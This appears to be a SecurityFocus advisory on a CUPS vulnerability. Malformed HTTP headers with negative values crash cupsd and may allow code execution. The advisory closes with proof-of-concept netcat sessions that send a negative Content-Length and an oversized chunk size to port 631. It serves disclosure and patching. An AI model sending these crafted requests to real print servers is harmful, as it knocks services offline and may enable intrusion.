source: http://www.securityfocus.com/bid/6437/info

A vulnerability has been reported for CUPS that if exploited may result in a DoS or the execute of code on affected systems.

An attacker can exploit this vulnerability by connecting to a vulnerable system and issuing malformed HTTP headers with a negative value for some fields. When the cupsd service receives this request, it will crash.

This vulnerability is very similar to the issue described in BID 5033. It may be very likely that this vulnerability may be exploited to execute malicious attacker-supplied code on BSD, and possibly other, platforms.

*** January 05, 2003

There are reports of this vulnerability being actively exploited in the wild. Vulnerable users are advised to update immediately.

$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1

$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Transfer-Encoding: chunked

- - - - -FFFFFFFE